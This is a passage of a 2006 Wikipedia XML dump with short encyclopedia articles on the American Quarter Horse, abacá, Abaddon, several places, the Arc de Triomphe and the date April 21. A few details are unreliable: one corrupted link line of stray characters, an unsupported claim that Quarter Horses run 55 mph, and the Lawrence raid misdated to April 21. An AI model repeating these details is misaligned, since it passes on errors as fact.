      <text xml:space="preserve">The '''American Quarter Horse''' is a [[Horse breeds|breed]] of [[horse]] originally bred specifically to race the quarter mile.  It is commonly believed to be the world's fastest horse, some having been clocked at 55 mph at the finish line in racing events. It is today equally well known for its performance in [[rodeo]]s and horse shows. The compact body of the Quarter Horse is well-suited to the intricate and speedy maneuvers required in roping, reining, cutting, working cow horse and other stock-horse events.  Riders are also known to show Quarter Horses in English and Hunt classes, although these types of events are more normally dominated by [[Thoroughbred]]s and [[Warmblood]] crosses. Also known as &quot;America's Horse&quot;, the Quarter Horse is the most popular breed in the United States. They can also boast the largest breed society in the world, with over 4 million Quarter Horses registered worldwide.

==Breed History==

The American colonists began, in the 1690s, to cross imported English horses with Chickasaw Ponies (which originated from Spanish and Barb stock brought over to Americas by the [[conquistadors]]). The resulting horse was small, hardy, and quick, and it was used as a work horse during the week, and a race horse on the weekend. The influence of [[Thoroughbreds]] like Janus and Matchem contributed crucial genes that developed the colonial &quot;Quarter Mile Horse&quot; into a speedy working man's racer.

As flat racing became popular with the colonists, this horse gained even more popularity as a sprinter. Even when matched against a [[Thoroughbred]], the small horse often won in short, quarter-mile races. As the American Thoroughbred breed was established many colonial Quarter Mile mares were included in the original stud books, starting a long association between the Throughbred breed and what would later become officially known as the &quot;Quarter Horse&quot;, accentuating distance it excelled in.

In the 1800s, pioneers heading West wanted a hardy, willing horse. As they forged into unsettled territories they found large herds of feral horses that descended from the Spanish stock Hernan Cortes had introduced into the viceroyalty of New Spain (later to be known as Mexico). As the colonial Quarter Mile Horse was crossed with the native horses of Iberian origin, the pioneers found that this cross had innate &quot;cow sense,&quot; and its popularity grew with cattlemen on ranches. 

Although working cattle was always the main justification of the ranch horse of the American west the sprint races were always a big part of the weekend entertainment on bush tracks around the country. As a result horses with early speed that also offered an advantage in ranching chores like roping, became important contributors to the breed that was taking shape the western territories. Names like Peter McCue, King Plaudit, Blob, Johnny Dial, Top Deck, Vandy, Three Bars and Truckle Feature are just some of the influential names that brought in more speed emphasizing Thoroughbred bloodlines into the American Quarter Horse breed. As a result, the valued attributes of race horse and show horse competitor were added to its aptitudes on the ranch. Even after the invention of the automobile, the Quarter Horse was never stopped being bred for cattle work. Today large purses have given rise to horses and riders with over a million dollar earnings in stock horse events that are open to all breeds but dominated by American Quarter Horse. At the race track the American Quarter Horse offers a wide assortment of parimutial races with purses as high as two million dollars per race. 

This has all been made possible because in 1940, the [[American Quarter Horse Association]] (AQHA) was formed to preserve the breed. Before and after the American Quarter Horse formally established itself as a breed it has always benefited from [[Thoroughbred]] bloodlines, so as a result their stud book has always remained open to this breed. This is not unusual in the stock horse industry as the Appaloosa has had an open registry to the [[Thoroughbred]], [[Arabian]] and American Quarter Horse; the [[American Paint Stock Horse]] has had an open registry to the American Quarter Horse; the [[Azteca]] is still a composite of the American Quarter Horse and [[Andalusian]] breeds; the [[Criollo]] has had an open registry to the Chilean Horse. Really the only stock horse breed that has had a closed registry since it was first officially started in 1893 is the [[Chilean Horse]].

Today, Europe has been importing Quarter Horses at nearly the same rate North America imports [[warmblood]]s. Germany and Italy in particular have been drawn to this breed. The horses are not only ideal for ranch and cattle work, barrel racing, and gymkhana events, but have also been trained to international levels of dressage and are generally very good jumpers. In addition, it has also been proven to be a very useful horse in the sport of Bullfighting.  In Portugal and Spain, they have been known to mix the breed with Lusitanos, making it an exceptional cross-breed.  The combination of the two gives the beauty and bravery of the Lusitano, while the strength &amp; speed is from the AQH.

Although this breed started as America's Horse it is rapidly becoming the World's Horse. The second highest registry of Quarter Horses takes place in Brazil and Australia is not far behind. With the internationalization of the discipline of reining and its acceptance as one of the official seven events on the [[World Equestrian Games]], now there is a growing interest in Quarter Horses the world over. Countries like Japan, Switzerland and Israel that did not have a traditional stock horse industry have been lured to compete on sturdy American Quarter Horses in their own country and abroad.

==Breed Characteristics==
[[Image:Brauner.JPG|right|200px]]
There are as many types of Quarter Horses as there are types of work they do. However, there are two main body types: the stock type and the running type. The stock horse type is shorter, more compact, stocky and very well muscled, yet agile. The running Quarter Horse is lighter, similar to a [[Thoroughbred]], and is built to sprint. 

Quarter Horses shown in hand &quot;at halter&quot; have a heavy-bodied appearance due to their incredibly muscular build, and small typey heads that usually have large jowls and refined muzzles. Reiners and cutters are smaller, with cat-like, quick movement and very powerful hindquarters. Western pleasure horses have a more level topline and smooth gaits. Quarter Horse racehorses have long legs and are much leaner than their &quot;stock horse&quot; counterparts. The show hunter type is similar to the running type Quarter Horse although many are even of a taller and thinner phenotype. However, all Quarter Horses have speed, stamina, power, and a great willingness to please.

Quarter Horses come in all colors, except spotted or pinto colors, with sorrel and bay being the most common color. They usually stand 14-16 hands high, although there are exceptions that may be as tall as 17 hands. The breed stipulates registerable height. 

The Thoroughbred breed is an accepted outcross for Quarter Horses; the major Quarter Horse breed registry (the largest horse registry in the world), the American Quarter Horse Association, accepts Quarter Horse/Thoroughbred crosses into the registry as &quot;Appendix Quarter Horses.&quot; These animals are popular for Quarter Horse Racing and for Jumping and Hunter events. After meeting a series of conformational and performance criteria, these Appendix Quarter Horses can obtain permanent registration numbers. Since American Quarter Horse/Thoroughbred crosses continue to have an opportunity to enter the official registry of the American Quarter Horse breed, this is creating a continual gene flow from the Thoroughbred breed into the American Quarter Horse breed, which has been influential in altering many of the characteristics that typified the breed in the early years of its formation.

==See also==
*[[American Paint Horse]]
One feature of conformation of note that is easily recognizable is the obvious lack of proportion between the front shoulders and the hindquarters.  Quarterhorses have big hind ends.  One of the fastest ever was named Peter McCue.  He was unofficially clocked at 21 seconds flat in a warm up to a race by three people.  It was unofficial because it was a warm up run, before dawn, and Peter was running by himself, but it was clocked at 21 seconds by three people.

==External links==
*[http://www.ranchcardoso.biz An AQH @ a California Bloodless Bullfight]
*[http://www.aqha.com American Quarter Horse Association]
*[http://Quarter-Horse-Times.com Quarter Horse Times]
*http://www.american-quarter-horses.org/
*[http://ultimatehorsesite.com/breedsofhorses/americanquarterhorseaqha.html American Quarter Horse Breed Information]

[[Category:Horse breeds]]

[[de:American Quarter Horse]]
[[fr:Quarter Horse]]
[[ja:クォーターホース]]
[[nl:Quarter horse]]
[[pl:Quarter Horse]]</text>
    </revision>
  </page>
  <page>
    <title>Abacá</title>
    <id>2473</id>
    <revision>
      <id>41735825</id>
      <timestamp>2006-03-01T11:01:14Z</timestamp>
      <contributor>
        <username>Eno-ja</username>
        <id>395666</id>
      </contributor>
      <minor />
      <comment>+ja</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Abaca
| status = {{StatusSecure}}
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| ordo = [[Zingiberales]]
| familia = [[Musaceae]]
| genus = ''[[Musa (Musaceae)|Musa]]''
| species = '''''M. textilis'''''
| binomial = ''Musa textilis''
| binomial_authority = [[Luis Née|Née]]
}}

'''Abacá''', ah buh KAH, (''Musa textilis'') is a species of [[banana]] native to the [[Philippines]], grown widely as well in [[Borneo]] and [[Sumatra]]. The plant is of major economical importance, being harvested for its fibre, called [[Manila hemp]], extracted from the large, oblong [[leaf|leaves]] and stems. On average, the plant grows about 20 feet (6 metres) tall. The fibre is used for making twines and ropes. The plant's name is sometimes spelt '''Abaká'''.

==Composition==

The leaves grow from the trunk of the plant, and the bases of the leaves form a [[sheath|''sheath'']] (covering) around the trunk. These sheaths contain the valuable fibre. The coarse fibres range from 5 to 11 1/2 feet (1.5 to 3.5 metres) in length. They are composed primarily of the plant materials [[cellulose]], [[lignin]], and [[pectin]]. After the fibre has been separated, it is sold under the name [[Manila hemp|Manila]]. The fibre gets its name from the capital of the [[Philippines]].

==Harvesting==

Growers harvest abacá fields every three to eight months. They cut down the mature plants, but allow the roots to remain in the ground. New plants then grow from the old roots. The leaf sheaths are detached in strips. The pulp is scraped off, leaving only the fibre strands, which are twisted into rope. Abacá fibre is strong, buoyant, and has a great natural resistance to water, sun, and wind. Abacá is also used for paper products.

==Scientific classification==

The abacá plant belongs to the [[banana]] family, Musaceae. Its scientific name is ''Musa textilis''.

Other common names for Manila hemp include Cebu hemp and Davao hemp.

==External sources of information==

-The [[World Book]] encyclopedia set, 1988.

==External links==
{{Wikisource1911Enc|Abaca}}
*[http://www.univie.ac.at/Voelkerkunde/apsis/aufi/aurel/novara/nov1319.htm Historical notes]
*[http://plants.usda.gov/java/profile?symbol=MUTE6 Plants USDA]

[[Category:Zingiberales]]

[[bg:Абака]]
[[cs:Banánovník textilní]]
[[da:Abaca]]
[[et:Kanepbanaan]]
[[es:Abacá]]
[[fr:Abaca]]
[[gl:Abacá]]
[[it:Abaca]]
[[ja:マニラアサ]]
[[pl:Banan manilski]]
[[pt:Abacá]]
[[sv:Abaca]]</text>
    </revision>
  </page>
  <page>
    <title>Abaddon</title>
    <id>2474</id>
    <revision>
      <id>40060638</id>
      <timestamp>2006-02-17T21:15:36Z</timestamp>
      <contributor>
        <username>RoboDick</username>
        <id>815650</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pl</comment>
      <text xml:space="preserve">{{Otherusesabout|the Hebrew word}}

'''Abaddon''' is a [[Biblical Hebrew]] word meaning &quot;destruction&quot;.

In [[Hebrew Bible|Biblical]] poetry (Job 26:6; Proverbs 15:11) it comes to mean &quot;place of destruction&quot;, or the realm of the dead, and is associated with [[Sheol]].  Abaddon is also one of the compartments of [[Gehenna]].

In [[Book of Revelation|Revelation]] 9:11, it is described personified as the [[Abaddon (demon)|demon Abaddon]], &quot;Angel of the Abyss&quot;, rendered in Greek as [[Apollyon]].

==Reference==
{{Wikisource1911Enc|Abaddon}}
*Article about abaddon from the 11th edition [[Encyclopædia Britannica]] (1911)

{{Catholic}}

{{1911}}



==External links==
*[http://www.tmgnow.com/repository/planetary/the_threat3.html THE ARMIES OF ABADDON]
*[http://encyclopedia.jrank.org/A10_ADA/ABADDON.html Abaddon]

[[Category:Hebrew words]]
[[Category:New Testament places]]
[[Category:Tanakh places]]

[[da:Abaddon]]
[[de:Abaddon]]
[[es:Abaddon]]
[[fr:Abaddon]]
[[pl:Abaddon (anioł)]]
[[pt:Abaddon]]
[[ru:Абаддон]]
[[fi:Abaddon]]
[[sv:Abaddon]]</text>
    </revision>
  </page>
  <page>
    <title>Abadeh</title>
    <id>2475</id>
    <revision>
      <id>18667481</id>
      <timestamp>2005-07-12T11:47:43Z</timestamp>
      <contributor>
        <username>Robert Horning</username>
        <id>82392</id>
      </contributor>
      <comment>/* Sources */   Adding link to 1911 Encyclopedia</comment>
      <text xml:space="preserve">'''Abadeh''' (&amp;#1570;&amp;#1576;&amp;#1575;&amp;#1583;&amp;#1607;) is a city in [[Iran]], in the province of 
[[Fars]], situated at an elevation of 6200 feet in a fertile plain on the high road between [[Isfahan (city)|Isfahan]] and [[Shiraz, Iran|Shiraz]], 140 miles from the former and 170 miles from the latter.  [[As of 2004]], the population was estimated to be 58,200. [http://www.gazetteer.de/c/c_ir.htm]

It is the chief place of the Abadeh-[[Eghlid]] district, which is famed for its carved wood-work, made of the wood of [[pear]] and [[box tree]]s. 

==Sources==
{{Wikisource1911Enc|Abadeh}}
* {{1911}}

[[Category:Cities in Iran]]

==External links==

*[http://encyclopedia.jrank.org/A10_ADA/ABADEH.html Abadeh] Article about Abadeh from the 11th edition Encyclopedia Britannica (1911).</text>
    </revision>
  </page>
  <page>
    <title>Abae</title>
    <id>2476</id>
    <revision>
      <id>40743011</id>
      <timestamp>2006-02-22T18:54:02Z</timestamp>
      <contributor>
        <username>Stoa</username>
        <id>831111</id>
      </contributor>
      <minor />
      <comment>&quot;Stub article&quot;</comment>
      <text xml:space="preserve">'''Abae''' (rabai), is a town in the N.E. corner of [[Phocis]], in
[[Greece]], famous in early times for its [[oracle]] of [[Apollo]], 
one of those consulted by [[Croesus]] (Herod. i. 46). It was 
rich in treasures (Herod. viii. 33), but was sacked by the 
[[Iran|Persia]]ns, and the [[temple (Greek)|temple]] remained in a ruined state.  The 
oracle was, however, still consulted, e.g. by the [[Thebes (Greece)|Thebans]] 
before [[Leuctra]] (Paus. iv. 32. 5). The temple seems to have 
been burnt again during the [[Sacred War]], and was in a very 
dilapidated state when seen by [[Pausanias (geographer)|Pausanias]] (x. 35), though 
some restoration, as well as the building of a new temple, 
was undertaken by [[Hadrian]].  The sanctity of the shrine 
ensured certain privileges to the people of Abac (Bull.  
Corresp.  Hell. vi. 171), and these were confirmed by the 
Romans.  The [[polygonal]] wabs of the acropolis may still be 
seen in a fair state of preservation on a circular hill 
standing about 500 ft. above the little plain of Exarcho; 
one gateway remains, and there are also traces of town walls 
below.  The temple site was on a low spur of the hill, below the 
town.  An early terrace wall supports a precinct in which are 
a [[stoa]] and some remains of temples; these were excavated by the 
British School at [[Athens, Greece|Athens]] in [[1894]], but very little was found. 

See also W. M. Leake, Travels in Northern Greece, ii. p. 163i Journal of Hellenic Studies, xvi. pp. 291-312 (V. W. Yorke). . (E. GR.) 

{{Ancient-Greece-stub}}
{{Wikisource1911Enc|Abae}}

[[Category:History of Greece]]

[[de:Abai]]
[[pl:Aba (miasto greckie)]]
[[pt:Abas]]</text>
    </revision>
  </page>
  <page>
    <title>Abakan</title>
    <id>2477</id>
    <revision>
      <id>42107888</id>
      <timestamp>2006-03-03T21:52:16Z</timestamp>
      <contributor>
        <username>Ezhiki</username>
        <id>48143</id>
      </contributor>
      <minor />
      <comment>slight copyedit; recat</comment>
      <text xml:space="preserve">''For the river Abakan, see [[Abakan River]]''
&lt;/br&gt;''For the Abakan assault rifle, see [[AN-94]]''
----
[[Image:Abakan Coat of arms.jpg|thumb|125px|City coat of arms]]

'''Abakan''' ({{lang-ru|Абака&amp;#769;н}}) is the capital of the [[Khakassia|Republic of Khakassia]] in [[Russia]], in South [[Siberia]]. It is located in the central part of [[Minusinsk Depression]], at the confluence of the rivers [[Yenisei River|Yenisei]] and [[Abakan River|Abakan]], at {{coor dm|53|43|N|91|27|E|}}; at approximately the same longitude as [[Hamburg]] and [[Minsk]]. Population: 165,197 ([[2002]] [[Russian Census (2002)|Census]]); 159,000 ([[January 1]], [[1994]] est.). 

Abakan fort ({{lang|ru|Абаканский острог}}) was built at this location in [[1675]], also known as '''Abakansk'''. In [[Russian Empire]] it belonged to [[Yenisei]] [[gubernia]]. During [[1823]]&amp;ndash;[[1931]] the grown settlement was known as '''Ust-Abakanskoye''', [[1914]]&amp;ndash;[[1925]]: Abakan, [[1925]]&amp;ndash;[[1931]]: '''Khakassk'''. It received the status of town and its current name in 1931. 

Abakan (together with [[Tayshet]]) was a terminal of the major [[Abakan-Taishet Railway]]. Now it is an important railway junction.

The city has a river port, an airport, industry enterprises, university, three theatres.

==External links==
*[http://www.abakan.ru Abakan web portal]
{{Wikisource1911Enc|Abakansk}}

[[Category:Cities and towns of Khakassia]]

[[de:Abakan (Stadt)]]
[[es:Abakán]]
[[eo:Abakan]]
[[fr:Abakan]]
[[gl:Abakán - Абакан]]
[[ko:아바칸]]
[[hr:Abakan, grad]]
[[io:Abakan]]
[[it:Abakan (città)]]
[[nn:Abakan]]
[[os:Абакан]]
[[pl:Abakan (miasto)]]
[[ru:Абакан]]
[[fi:Abakan (kaupunki)]]
[[sv:Abakan]]</text>
    </revision>
  </page>
  <page>
    <title>Abana River</title>
    <id>2478</id>
    <revision>
      <id>32506708</id>
      <timestamp>2005-12-23T18:27:24Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>[[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Hebrew Bible/Tanakh places]] → [[Category:Tanakh places]]</comment>
      <text xml:space="preserve">'''Abana''' (or AMANAH, classical Chrysorrhoas) and PHARPAR, 
the &quot;rivers of [[Damascus, Syria]]&quot; (2 [[Books of Kings|Kings]] v. 12), now generally identified with the Barada (i.e. ''cold'') and the A`waj 
(i.e. ''crooked'') respectively, though if the reference 
to Damascus be limited to the city, as in the [[Arabic language|Arabic]] 
version of the [[Old Testament]], Pharpar would be the modern 
[[Taura]].  Both streams run from west to east across the plain of 
Damascus, which owes to them much of its fertility, and lose 
themselves in marshes, or lakes, as they are called, on the 
borders of the great [[Arabia]]n desert.  [[John McGregor]], who gives 
an interesting description of them in his Rob Roy on the 
[[Jordan River|Jordan]], affirmed that as a work of hydraulic engineering, 
the system and construction of the canals, by which the Abana 
and Pharpar were used for irrigation, might be considered as 
one of the most complete and extensive in the world.  As the 
Barada escapes from the mountains through a narrow gorge, 
its waters spread out fan-like, in canals or ''rivers'', the 
name of one of which, Nahr [[Banias]], retains a trace of Abana. 

{{Wikisource1911Enc|Abana}}
''From [[Gutenberg Encyclopedia]] ([[1911]])''

'''See Also:''' [[Amana (bible)]]

[[Category:Rivers of Syria]]
[[Category:Tanakh places]]

[[pl:Abana]]</text>
    </revision>
  </page>
  <page>
    <title>Al-Manamah</title>
    <id>2479</id>
    <revision>
      <id>15900888</id>
      <timestamp>2004-02-11T04:21:13Z</timestamp>
      <contributor>
        <username>WhisperToMe</username>
        <id>15708</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Manama]]</text>
    </revision>
  </page>
  <page>
    <title>Arc de Triomphe</title>
    <id>2482</id>
    <revision>
      <id>41795021</id>
      <timestamp>2006-03-01T20:24:13Z</timestamp>
      <contributor>
        <ip>207.70.37.9</ip>
      </contributor>
      <text xml:space="preserve">[[image:Arc de triomphe frontsimple.jpg|thumb|right|280px|Arc de Triomphe]]
The '''Arc de Triomphe''' is a monument in [[Paris]] that stands in the centre of the [[Place de l'Étoile]], at the western end of the [[Champs-Élysées]]. Coordinates: {{coor dms|48|52|25.5|N|2|17|41.5|E|}}. It is the linchpin of the historic axis (''L'[[Axe historique]]'') leading from the courtyard of the [[Louvre]] Palace, a sequence of monuments and grand thoroughfares on a route leading out of Paris. The monument's iconographic program pitted heroically nude French youths against bearded Germanic warriors in chain mail and set the tone for public monuments with triumphant nationalistic messages until [[World War I]].

The monument stands over [[1 E1 m|51&amp;nbsp;metres]] (165&amp;nbsp;feet) in height and is 45&amp;nbsp;metres wide. It is the second largest [[triumphal arch]] in existence ([[North Korea]] built a [[Arch of Triumph (Pyongyang)|slightly larger Arch of Triumph]] in [[1982]] for the 70th birthday of [[Kim Il-Sung]]); the Arc de Triomphe is so colossal that an early daredevil flew his plane through it.
[[Image:250px-Arc-de-triomphe-paris.jpg|thumb|240px|left|Arc de Triomphe by night]]

It was commissioned in [[1806]] after the victory at [[Battle of Austerlitz|Austerlitz]] by [[Napoleon I of France|Napoleon Bonaparte]] at the peak of his fortunes and finally completed &amp;mdash; after a long pause during the [[Bourbon Dynasty, Restored|Restoration]] &amp;mdash; in the reign of [[Louis-Philippe of France|King Louis-Philippe]], in 1833-36. The sculpture representing ''Peace'' was now interpreted as commemorating the ''Peace of 1815'' &amp;mdash; not the original intention.

The astylar design is by [[Jean Chalgrin]] (1739-1811), in the [[Neoclassicism|Neoclassical]] version of ancient [[Roman architecture]]. Major [[academy|academic]] sculptors of France are represented in the sculpture of the Arc de Triomphe:  [[Jean-Pierre Cortot|Cortot]], [[François Rude|Rude]], [[Antoine Étex|Étex]], [[James Pradier|Pradier]] and [[Philippe Joseph Henri Lemaire|Lemaire]]. The main sculptures are not integral friezes but are treated as independent trophies applied to the vast ashlar masonry masses, not unlike the gilt-bronze appliqués on Empire furniture. The four sculptural groups at the base of the Arc are ''The Triumph of 1810'' (Jean-Pierre Cortot), ''Resistance'' and ''Peace'' (both by [[Antoine Étex]]) and the most renowned of them all, ''Departure of the Volunteers of '92'' commonly called ''[[La Marseillaise]]'' ([[François Rude]]). The face of the allegorical representation of France calling forth her people on this last was used as the belt buckle for the seven-star rank of [[Marshal]] of France. 
[[Image:IMG_0082(arc de triomphe).jpg|thumb|right|250px|Under the coffered vault : heroic bas-reliefs above the tablets of names]]
In the attic above the richly sculptured [[frieze]] of soldiers are 30 shields engraved with the names of major [[French Revolutionary Wars|Revolutionary]] and [[Napoleonic Wars|Napoleonic military victories]]. The inside walls of the monument list the names of 558 French generals. The names of those who died in battle are underlined (''illustration, right'').

The Place de l'Étoile was extensively redesigned by [[Baron Haussmann]], who increased the number of avenues radiating from this star to twelve. In the [[1860s]]  he ran a circular road (''rue de Tilsitt-Presbourg'') round the outside of the houses fronting the ''Étoile,'' a planning feature intended to free the Place itself from the crush of carriages that might be expected where so many stylish tenants lived so closely together. Haussmann imposed a uniform design on the house fronts with small gardens at the back giving on to this circular road. Haussmann's memoirs publicly noted that the official façade design, from [[Jacques Ignace Hittorff|Hittorff]] in his own office, was so poor that he had to mask the fronts with trees. But the uniformity complements the Arc's monumental presence. The traffic problem was not resolved, however.
[[Image:Arc de Triomphe1.jpg|thumb|left|250px|Arc de Triomphe and the Champs Elysées]]
The sword carried by the ''Republic'' in the ''Marseillaise'' relief broke off, on the day, it is said, that the [[Battle of Verdun]] began in [[1916]]. The relief was immediately hidden by tarpaulins to conceal the accident and avoid any undesired ominous interpretations. 
Famous victory marches past the Arc included the Germans in [[1871]], the French in [[1918]], the Germans in [[1940]], and the French and Allies in [[1944]] and [[1945]]. [[Charles de Gaulle]] survived an attack upon him at the Arc during a parade. 
[[Image:Unknownsoldier_paris.jpg|thumb|right|250px|Tomb of the Unknown Soldier beneath the Arc de Triomphe, Paris]]
Beneath the Arc is the [[Tomb of the Unknown Soldier]] from the [[World War I|First World War]]. Interred here on [[Armistice Day]] [[1920]], it has the first [[eternal flame]] lit in Western Europe since the [[Vestal Virgin]]s' fire was extinguished in the year [[391]]. It burns in memory of the dead who were never identified, now in both World Wars. France took the example of the [[United Kingdom]]'s tomb of [[The Unknown Warrior]] in [[Westminster Abbey]]. A ceremony is held there every [[November 11]] on the anniversary of the [[armistice]] signed between France and Germany in [[1918]]. It was originally decided in [[November 12]], [[1919]] to bury the unknown soldier's remains in the [[Panthéon, Paris|Panthéon]], but a public letter-writing campaign led to the decision to bury him beneath the Arc. The coffin was put in the chapel on the first floor of the Arc on [[November 10]], [[1920]], and put in its final resting place on [[January 28]], [[1921]]. The slab on top carries the inscription &lt;small&gt;ICI REPOSE UN SOLDAT FRANÇAIS MORT POUR LA PATRIE 1914–1918&lt;/small&gt; (&quot;Here lies a French soldier who died for his country 1914–1918&quot;).
[[Image:lamarseillaise.500px.jpg|thumb|left|250px|Cast of the head of a figure from François Rude's sculpture &quot;La Marseillaise&quot;]] 

==Miscellaneous==

* The [[Tour de France]] race culminates here every year.

* Pedestrian access to the Arc de Triomphe is via an underpass. [[Paris Metro|Metro]] access is [[Charles de Gaulle - Étoile (Paris Metro)|Charles-de-Gaulle–Étoile]]. From the top there is an excellent view of all of Paris, of the twelve major avenues leading to the Arc and of the exceptionally busy roundabout in which the Arc lies.

* The Arch is destroyed by the [[Eiffel Tower]] in ''[[Team America: World Police]]''. In ''Rugrats in Paris: The Movie'', the babies inside the giant Reptar [[invention]] move fast under the arch. In the [[Godzilla]] film ''[[Destroy All Monsters]]'' it is destroyed by [[Gorosaurus]] who had dug underneath it.

* A smaller, highly detailed replica of the Arc was constructed at the [[Paris Las Vegas]] resort.

==See also==
*[[Gallery of Arc de Triomphe photographs]]

==External links==
{{commons|Arc de Triomphe}}
* [http://www.gregoryferdinandsen.com/CDG2001/Arc_de_Triumph.htm Pictures]
* [http://maps.google.com/maps?ll=48.873796,2.294780&amp;spn=0.006620,0.010214&amp;t=k&amp;hl=en Google Maps satellite view of Arc de Triomphe]
* [http://www.insecula.com/musee/M0107.html/ Arc de Triomphe at ''Insecula'' (French)]
* [http://www.discoverfrance.net/France/Paris/Monuments-Paris/Arc-CDG.shtml Arc de Triomphe at ''Discover France'' (English)]
* [http://gallery.sjsu.edu/paris/architecture/Haussman.html Georges Haussmann]
* [http://www.parisrama.com/thematiques/thematique_arcdetriomphe.htm Inscriptions on the Arc de Triomphe]
* [http://perso.wanadoo.fr/arnauld.divry/arc_de_triomphe.htm The Names of 660 persons inscribed on the Arc de Triomphe]

[[Category:Buildings and structures in Paris]]וטטטטטטטטטטטט de Triomphe (Parijs)]]
[[id:Arc de triomphe de l'Étoile]]
[[ja:エトワール凱旋門]]
[[no:Triumfbuen]]
[[pl:Łuk Triumfalny w Paryżu]]
[[pt:Arco do Triunfo]]
[[ro:Arcul de Triumf, Paris]]
[[ru:Триумфальная арка (Париж)]]
[[fi:Riemukaari (Pariisi)]]
[[sv:Triumfbågen, Paris]]
[[zh:巴黎凯旋门]]</text>
    </revision>
  </page>
  <page>
    <title>April 21</title>
    <id>2483</id>
    <revision>
      <id>41580221</id>
      <timestamp>2006-02-28T07:22:12Z</timestamp>
      <contributor>
        <username>Rhymeless</username>
        <id>58267</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/130.126.131.120|130.126.131.120]] ([[User talk:130.126.131.120|talk]]) to last version by Rhymeless</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=21}}
|}
'''[[April 21]]''' is the 111th day of the year in the [[Gregorian calendar]] (112th in [[leap year]]s). There are 254 days remaining. 
==Events==
*[[753 BC]] - [[Romulus and Remus|Romulus]] founds [[Rome]] ([[founding of Rome|traditional]]).
*[[1792]] - [[Tiradentes]], a revolutionary who was leading a movement for Brazil's independence, is hanged.
*[[1836]] - [[Texas Revolution]]: [[Battle of San Jacinto]] &amp;ndash; [[Republic of Texas]] forces under [[Sam Houston]] defeat troops under [[Mexico|Mexican]] General [[Antonio López de Santa Anna]]. 
*[[1863]] - [[Bahá'u'lláh]] declares his mission as &quot;[[He whom God shall make manifest]]&quot;.  Considered the founder of the [[Bahá'í Faith]].  
*1863 - [[Quantrill's Raiders]] launch a reprisal raid [[Lawrence, Kansas]] in the [[Battle of Lawrence]], killing a number of civilians.
*[[1894]] - [[Norway]] formally adopts the [[Krag-Jørgensen]] rifle as the main arm of its armed forces, a weapon that would remain in service for almost 50 years.
*[[1898]] - [[Spanish-American War]]: The [[Congress of the United States|U.S. Congress]], on [[April 25]], recognizes that a state of war exists between the [[United States]] and [[Spain]] as of this date.
*[[1912]] - The [[San Francisco Giants|New York Giants]] and [[New York Yankees]] play an exhibition game to benefit survivors of the [[RMS Titanic|RMS ''Titanic'']].
*[[1918]] - [[World War I]]: [[Germany|German]] fighter ace [[Manfred von Richthofen]], known as &quot;The Red Baron,&quot; is shot down and killed by [[Allies|Allied]] fire over [[Vaux sur Somme]] in [[France]].
*[[1930]] - A fire at a [[Columbus, Ohio]],  [[United States|USA]], penitentiary kills 320 people.
*[[1944]] - Women in [[France]] receive the right to vote.
*[[1945]] - [[World War II]]: [[Soviet Union]] forces south of [[Berlin]] at [[Zossen]] attack the German High Command headquarters.
*[[1952]] - Secretaries Day (now [[Administrative Professionals' Day]]) is first celebrated.
*[[1955]] - [[Bob Hope]]'s radio program airs its last segment.
*[[1956]] - [[Elvis Presley]]'s song &quot;[[Heartbreak Hotel]]&quot; becomes the &quot;King's&quot; first song to reach the top of the [[Cash Box magazine]] [http://members.aol.com/_ht_a/randypny/cashbox/1956.html] music charts.
*[[1960]] - [[Brasília]], Brazil's capital, is officially inaugurated. At 9:30 am the Three Powers of the Republic are simultaneously transferred from the old capital, [[Rio de Janeiro]].
*1960 - Founding of the Orthodox [[Bahá'í Faith|Bahá'í]] Faith in [[Washington, DC]].
*[[1965]] - The [[1964 New York World's Fair|1964-1965 New York World's Fair]] opens for its second and final season.
*[[1966]] - [[Rastafari movement]]: [[Haile Selassie of Ethiopia]] visits [[Jamaica]], an event now celebrated as [[Grounation Day]].
*[[1967]] - A few days before the general election in Greece, [[Colonel]] [[George Papadopoulos]] leads a [[coup d'état]], establishing a military regime that lasts for seven years.
*[[1975]] - [[Vietnam War]]: President of [[South Vietnam]] [[Nguyen Van Thieu]] flees [[Saigon]], as [[Xuan Loc]], the last South Vietnamese outpost blocking a direct [[North Vietnam]]ese assault on Saigon, falls.
*[[1985]] -  [[Ayrton Senna]] wins the first of 41 [[Formula One]] championship races at the Portuguese [[Grand Prix motor racing|Grand Prix]] in [[Estoril]]. 
*[[1986]] - [[Geraldo Rivera]] opens [[Al Capone|Al Capone's]] vault on live television and finds nothing.
*[[1987]] - The [[Tamil Tigers]] is blamed for a [[car bomb]] that explodes in the [[Sri Lanka]]n capital of [[Colombo]], killing 106 people.
*[[1989]] - [[Tiananmen Square Protests of 1989]]: In [[Beijing]], around 100,000 students gather in [[Tiananmen Square]] to commemorate the late Chinese reform leader [[Hu Yaobang]].
*[[1992]] - [[Capital punishment in the United States|U.S. death penalty]]: After 13 years on [[death row]], convicted murderer [[Robert Alton Harris]] is executed in [[California]]'s [[gas chamber]].
*[[1994]] - The first discoveries of [[extrasolar planet]]s are announced by astronomer [[Alexander Wolszczan]].
*[[2005]] - [[John Negroponte]] becomes the first [[United States Director of National Intelligence]].

==Births==
*[[1555]] - [[Ludovico Carracci]], Italian painter (d. [[1619]])
*[[1651]] - Blessed [[Joseph Vaz]], Apostle of Ceylon (d. [[1711]])
*[[1652]] - [[Michel Rolle]], French mathematician (d. [[1719]])
*[[1671]] - [[John Law (economist)|John Law]], Scottish economist (d. [[1729]])
*[[1713]] - [[Louis, 4th duc de Noailles]], Marshal of France (d. [[1793]])
*[[1729]] - [[Empress]] [[Catherine II of Russia]] (d. [[1796]])
*[[1774]] - [[Jean-Baptiste Biot]], French physicist (d. [[1862]])
*[[1775]] - [[Alexander Anderson (illustrator)|Alexander Anderson]], American wood-engraver and illustrator (d. [[1870]])
*[[1810]] - [[John Putnam Chapin]], Mayor of Chicago (d. [[1864]])
*[[1811]] - [[Alson Sherman]], Mayor of Chicago (d. [[1903]])
